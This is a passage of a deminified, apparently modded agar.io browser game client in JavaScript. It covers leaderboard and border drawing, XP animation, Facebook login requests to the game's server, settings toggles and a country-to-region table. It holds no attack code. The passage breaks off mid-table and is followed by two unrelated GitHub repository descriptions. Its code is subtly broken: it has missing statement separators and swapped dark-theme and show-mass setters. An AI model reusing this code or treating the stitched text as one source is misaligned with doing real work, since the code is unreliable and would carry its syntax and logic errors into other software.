g_playerCellIds.indexOf(g_scoreEntries[height].id)) { if (g_playerCells[0].name) { scale = g_playerCells[0].name; } context.fillStyle = '#FFAAAA'; } else { context.fillStyle = '#FFFFFF'; } scale = height + 1 + '. ' + scale; context.fillText(scale, 100 - context.measureText(scale).width / 2, 70 + 24 * height); } } else { for (height = scale = 0; height < g_scorePartitions.length; ++height) { var end = scale + g_scorePartitions[height] * Math.PI * 2; context.fillStyle = g_teamColors[height + 1]; context.beginPath(); context.moveTo(100, 140); context.arc(100, 140, 80, scale, end, false); context.fill(); scale = end; } } } } } function __unmatched_38(__unmatched_250, __unmatched_251, __unmatched_252, __unmatched_253, __unmatched_254) { this.V = __unmatched_250; this.x = __unmatched_251; this.y = __unmatched_252; this.i = __unmatched_253; this.b = __unmatched_254; } function Cell(id, x, y, size, color, name) { this.id = id; this.s = this.x = x; this.t = this.y = y; this.r = this.size = size; this.color = color; this.a = []; this.W(); this.B(name); } function __unmatched_40(__unmatched_261) { for (__unmatched_261 = __unmatched_261.toString(16); 6 > __unmatched_261.length;) { __unmatched_261 = '0' + __unmatched_261; } return '#' + __unmatched_261; } function drawBorders() { g_context.save() g_context.beginPath(); g_context.lineWidth = 1; g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapStartX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapStartY()); g_context.stroke(); g_context.moveTo(getMapEndX(), getMapStartY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.moveTo(getMapStartX(), getMapEndY()); g_context.lineTo(getMapEndX(), getMapEndY()); g_context.stroke(); g_context.restore(); } function drawLogo(){ var logoimage = new Image(); logoimage.src = "img/split.png"; var width = this.j / 2; var dim = width / 2; g_context.save(); g_context.beginPath(); g_context.strokeStyle = "#F87B32"; g_context.moveTo(getMapStartX()/2, getMapStartX()/2); g_context.lineTo(getMapStartX()/2, getMapStartX()/2); g_context.stroke(); g_context.restore(); } function CachedCanvas(size, color, stroke, strokeColor) { if (size) { this.u = size; } if (color) { this.S = color; } this.U = !!stroke; if (strokeColor) { this.v = strokeColor; } } function __unmatched_42(__unmatched_266) { for (var size_ = __unmatched_266.length, __unmatched_268, __unmatched_269; 0 < size_;) { __unmatched_269 = Math.floor(Math.random() * size_); size_--; __unmatched_268 = __unmatched_266[size_]; __unmatched_266[size_] = __unmatched_266[__unmatched_269]; __unmatched_266[__unmatched_269] = __unmatched_268; } } function __unmatched_43(g_socket, __unmatched_271) { var noClip = '1' == $('#helloContainer').attr('data-has-account-data'); $('#helloContainer').attr('data-has-account-data', '1'); if (null == __unmatched_271 && window.localStorage.loginCache) { var rand = JSON.parse(window.localStorage.loginCache); rand.f = g_socket.f; rand.d = g_socket.d; rand.e = g_socket.e; window.localStorage.loginCache = JSON.stringify(rand); } if (noClip) { var __unmatched_274 = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[0]; var noClip = +$('.agario-exp-bar .progress-bar-text').first().text().split('/')[1].split(' ')[0]; var rand = $('.agario-profile-panel .progress-bar-star').first().text(); if (rand != g_socket.e) { __unmatched_43({ f: noClip, d: noClip, e: rand }, function() { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar').css('width', '100%'); $('.progress-bar-star').addClass('animated tada').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function() { $('.progress-bar-star').removeClass('animated tada'); }); setTimeout(function() { $('.agario-exp-bar .progress-bar-text').text(g_socket.d + '/' + g_socket.d + ' XP'); __unmatched_43({ f: 0, d: g_socket.d, e: g_socket.e }, function() { __unmatched_43(g_socket, __unmatched_271); }); }, 1000); }); } else { var __unmatched_275 = Date.now(); var name = function() { var deltaX; deltaX = (Date.now() - __unmatched_275) / 1000; deltaX = 0 > deltaX ? 0 : 1 < deltaX ? 1 : deltaX; deltaX = deltaX * deltaX * (3 - 2 * deltaX); $('.agario-exp-bar .progress-bar-text').text(~~(__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * (__unmatched_274 + (g_socket.f - __unmatched_274) * deltaX) / g_socket.d).toFixed(2) + '%'); if (1 > deltaX) { window.requestAnimationFrame(name); } else if (__unmatched_271) { __unmatched_271(); } }; window.requestAnimationFrame(name); } } else { $('.agario-profile-panel .progress-bar-star').text(g_socket.e); $('.agario-exp-bar .progress-bar-text').text(g_socket.f + '/' + g_socket.d + ' XP'); $('.agario-exp-bar .progress-bar').css('width', (88 * g_socket.f / g_socket.d).toFixed(2) + '%'); if (__unmatched_271) { __unmatched_271(); } } } function __unmatched_44(__unmatched_278) { if ('string' == typeof __unmatched_278) { __unmatched_278 = JSON.parse(__unmatched_278); } if (Date.now() + 1800000 > __unmatched_278.ka) { $('#helloContainer').attr('data-logged-in', '0'); } else { window.localStorage.loginCache = JSON.stringify(__unmatched_278); __unmatched_108 = __unmatched_278.ha; $('.agario-profile-name').text(__unmatched_278.name); RefreshAds(); __unmatched_43({ f: __unmatched_278.f, d: __unmatched_278.d, e: __unmatched_278.e }); $('#helloContainer').attr('data-logged-in', '1'); } } function __unmatched_45(data) { data = data.split('\n'); __unmatched_44({ name: data[0], sa: data[1], ha: data[2], ka: 1000 * +data[3], e: +data[4], f: +data[5], d: +data[6] }); } function UpdateScale(__unmatched_280) { if ('connected' == __unmatched_280.status) { var x = __unmatched_280.authResponse.accessToken; window.FB.api('/me/picture?width=180&height=180', function(__unmatched_282) { window.localStorage.fbPictureCache = __unmatched_282.data.url; $('.agario-profile-picture').attr('src', __unmatched_282.data.url); }); $('#helloContainer').attr('data-logged-in', '1'); if (null != __unmatched_108) { $.ajax('https://m.agar.io/checkToken', { error: function() { __unmatched_108 = null; UpdateScale(__unmatched_280); }, success: function(__unmatched_283) { __unmatched_283 = __unmatched_283.split('\n'); __unmatched_43({ e: +__unmatched_283[0], f: +__unmatched_283[1], d: +__unmatched_283[2] }); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: __unmatched_108 }); } else { $.ajax('https://m.agar.io/facebookLogin', { error: function() { __unmatched_108 = null; $('#helloContainer').attr('data-logged-in', '0'); }, success: __unmatched_45, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } } } function RenderLoop(x) { Render(':party'); $('#helloContainer').attr('data-party-state', '4'); x = decodeURIComponent(x).replace(/.*#/gim, ''); __unmatched_48('#' + window.encodeURIComponent(x)); $.ajax('https://m.agar.io/getToken', { error: function() { $('#helloContainer').attr('data-party-state', '6'); }, success: function(quick) { quick = quick.split('\n'); $('.partyToken').val('agar.io/#' + window.encodeURIComponent(x)); $('#helloContainer').attr('data-party-state', '5'); Render(':party'); Connect('ws://' + quick[0], x); }, dataType: 'text', method: 'POST', cache: false, crossDomain: true, data: x }); } function __unmatched_48(__unmatched_286) { if (window.history && window.history.replaceState) { window.history.replaceState({}, window.document.title, __unmatched_286); } } function __unmatched_49(__unmatched_287, __unmatched_288) { var playerOwned = -1 != g_playerCellIds.indexOf(__unmatched_287.id); var __unmatched_290 = -1 != g_playerCellIds.indexOf(__unmatched_288.id); var __unmatched_291 = 30 > __unmatched_288.size; if (playerOwned && __unmatched_291) { ++__unmatched_139; } if (!(__unmatched_291 || !playerOwned || __unmatched_290)) { ++__unmatched_146; } } function __unmatched_50(__unmatched_292) { __unmatched_292 = ~~__unmatched_292; var color = (__unmatched_292 % 60).toString(); __unmatched_292 = (~~(__unmatched_292 / 60)).toString(); if (2 > color.length) { color = '0' + color; } return __unmatched_292 + ':' + color; } function __unmatched_51() { if (null == g_scoreEntries) { return 0; } for (var i = 0; i < g_scoreEntries.length; ++i) { if (-1 != g_playerCellIds.indexOf(g_scoreEntries[i].id)) { return i + 1; } } return 0; } function ShowOverlay() { $('.stats-food-eaten').text(__unmatched_139); $('.stats-time-alive').text(__unmatched_50((__unmatched_144 - __unmatched_143) / 1000)); $('.stats-leaderboard-time').text(__unmatched_50(__unmatched_145)); $('.stats-highest-mass').text(~~(g_maxScore / 100)); $('.stats-cells-eaten').text(__unmatched_146); $('.stats-top-position').text(0 == g_mode ? ':(' : g_mode); var g_height = document.getElementById('statsGraph'); if (g_height) { var pointsAcc = g_height.getContext('2d'); var scale = g_height.width; var g_height = g_height.height; pointsAcc.clearRect(0, 0, scale, g_height); if (2 < cached.length) { for (var __unmatched_298 = 200, i = 0; i < cached.length; i++) { __unmatched_298 = Math.max(cached[i], __unmatched_298); } pointsAcc.lineWidth = 3; pointsAcc.lineCap = 'round'; pointsAcc.lineJoin = 'round'; pointsAcc.strokeStyle = __unmatched_140; pointsAcc.fillStyle = __unmatched_140; pointsAcc.beginPath(); pointsAcc.moveTo(0, g_height - cached[0] / __unmatched_298 * (g_height - 10) + 10); for (i = 1; i < cached.length; i += Math.max(~~(cached.length / scale), 1)) { for (var __unmatched_300 = i / (cached.length - 1) * scale, __unmatched_301 = [], __unmatched_302 = -20; 20 >= __unmatched_302; ++__unmatched_302) { if (!(0 > i + __unmatched_302 || i + __unmatched_302 >= cached.length)) { __unmatched_301.push(cached[i + __unmatched_302]); } } __unmatched_301 = __unmatched_301.reduce(function(__unmatched_303, __unmatched_304) { return __unmatched_303 + __unmatched_304; }) / __unmatched_301.length / __unmatched_298; pointsAcc.lineTo(__unmatched_300, g_height - __unmatched_301 * (g_height - 10) + 10); } pointsAcc.stroke(); pointsAcc.globalAlpha = 0.5; pointsAcc.lineTo(scale, g_height); pointsAcc.lineTo(0, g_height); pointsAcc.fill(); pointsAcc.globalAlpha = 1; } } } if (!window.agarioNoInit) { var __unmatched_53 = window.location.protocol; var g_secure = 'https:' == __unmatched_53; if (g_secure && -1 == window.location.search.indexOf('fb')) { window.location.href = 'http://agar.io/'; } else { var items = window.navigator.userAgent; if (-1 != items.indexOf('Android')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'PlayStore'); } setTimeout(function() { window.location.href = 'https://play.google.com/store/apps/details?id=com.miniclip.agar.io'; }, 1000); } else if (-1 != items.indexOf('iPhone') || -1 != items.indexOf('iPad') || -1 != items.indexOf('iPod')) { if (window.ga) { window.ga('send', 'event', 'MobileRedirect', 'AppStore'); } setTimeout(function() { window.location.href = 'https://itunes.apple.com/app/agar.io/id995999703?mt=8&at=1l3vajp'; }, 1000); } else { var g_canvas_; var g_context; var g_canvas; var g_protocol; var __unmatched_60; var g_pointTree = null; var points = null; var g_viewX = 0; var g_viewY = 0; var g_playerCellIds = []; var g_playerCells = []; var g_cellsById = {}; var g_cells = []; var g_destroyedCells = []; var g_scoreEntries = []; var g_mouseX = 0; var g_mouseY = 0; var g_moveX = -1; var g_moveY = -1; var __unmatched_75 = 0; var g_time = 0; var __unmatched_77 = 0; var g_nick = null; var g_minX = 0; var g_minY = 0; var g_maxX = 10000; var g_maxY = 10000; var g_scale = 1; var g_region = null; var g_showSkins = true; var g_showNames = true; var g_noColors = false; var __unmatched_88 = false; var g_maxScore = 0; var g_showMass = false; var g_darkTheme = true; var g_viewX_ = g_viewX = ~~((g_minX + g_maxX) / 2); var g_viewY_ = g_viewY = ~~((g_minY + g_maxY) / 2); var g_scale_ = 1; var __unmatched_95 = ''; var g_scorePartitions = null; var g_drawLines = false; var g_ready = false; var g_linesY_ = 0; var g_linesX_ = 0; var g_linesX = 0; var g_linesY = 0; var g_ABGroup = 0; var g_teamColors = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ]; var g_showTrails = false; var g_connectSuccessful = false; var __unmatched_107 = 0; var __unmatched_108 = null; var g_zoom = 1; var qkeyDown = 1; var g_playerCellDestroyed = false; var __unmatched_112 = 0; var __unmatched_113 = {}; (function() { var point = window.location.search; if ('?' == point.charAt(0)) { point = point.slice(1); } for (var point = point.split('&'), __unmatched_306 = 0; __unmatched_306 < point.length; __unmatched_306++) { var parts = point[__unmatched_306].split('='); __unmatched_113[parts[0]] = parts[1]; } }()); var g_touchCapable = 'ontouchstart' in window && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(window.navigator.userAgent); var g_splitImage = new Image(); g_splitImage.src = 'img/split.png'; var canvasTest = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == canvasTest || null == canvasTest.getContext || null == window.localStorage) { alert('You browser does not support this game, we recommend you to use Firefox to play this'); } else { var g_regionLabels = null; window.setNick = function(val) { HideOverlay(); g_nick = val; SendNick(); g_maxScore = 0; }; window.setRegion = SetRegion; window.setSkins = function(val) { g_showSkins = val; }; window.setUnlimitedZoom = function(val) { isUnlimitedZoom = val; }; window.setNames = function(val) { g_showNames = val; }; window.setDarkTheme = function(val) { g_showMass = val; }; window.setColors = function(val) { g_noColors = val; }; window.setShowMass = function(val) { g_darkTheme = val; }; window.spectate = function(val) { isSpectating = val g_nick = null; SendCmd(1); HideOverlay(); }; window.setLargeBlobBorders = function(val) { isLargeBlobBorders = val; } window.setLargeNames = function(val) { isLargeNames = val; } window.setVirusTransparent = function(val){ isVirusTransparent = val; } window.nicksChange = function() { var name = $("#nicks").children("option").filter(":selected").text(); $("#nick").val(name); if (-1 != g_skinNamesA.indexOf(name)) { $("#preview").attr("src", "skins/" + name + ".png"); } }; window.getMapStartX = function() { return g_minX; } window.getMapStartY = function() { return g_minY; } window.getMapEndX = function() { return g_maxX; } window.getMapEndY = function() { return g_maxY; } window.setGameMode = function(val) { if (val != __unmatched_95) { if (':party' == __unmatched_95) { $('#helloContainer').attr('data-party-state', '0'); } Render(val); if (':party' != val) { Start(); } } }; window.setAcid = function(val) { g_showTrails = val; }; if (null != window.localStorage) { if (null == window.localStorage.AB9) { window.localStorage.AB9 = 0 + ~~(100 * Math.random()); } g_ABGroup = +window.localStorage.AB9; window.ABGroup = g_ABGroup; } $.get(__unmatched_53 + '//gc.agar.io', function(code) { var __unmatched_317 = code.split(' '); code = __unmatched_317[0]; __unmatched_317 = __unmatched_317[1] || ''; if (-1 == ['UA'].indexOf(code)) { g_skinNamesA.push('ussr'); } if (g_regionsByCC.hasOwnProperty(code)) { if ('string' == typeof g_regionsByCC[code]) { if (!g_region) { SetRegion(g_regionsByCC[code]); } else if (g_regionsByCC[code].hasOwnProperty(__unmatched_317)) { if (!g_region) { SetRegion(g_regionsByCC[code][__unmatched_317]); } } } } }, 'text'); if (window.ga) { window.ga('send', 'event', 'User-Agent', window.navigator.userAgent, { nonInteraction: 1 }); } var g_canRefreshAds = true; var g_refreshAdsCooldown = 0; var g_regionsByCC = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH:
MattHoneycutt / HeroicSamples.BootstrapAlertsIllustrates a method of displaying Bootstrap Alert messages in ASP.NET Core applications.
facebookresearch / FboojaImplements the bootstrap and jackknife methods of http://tygert.com/jdssv.pdf
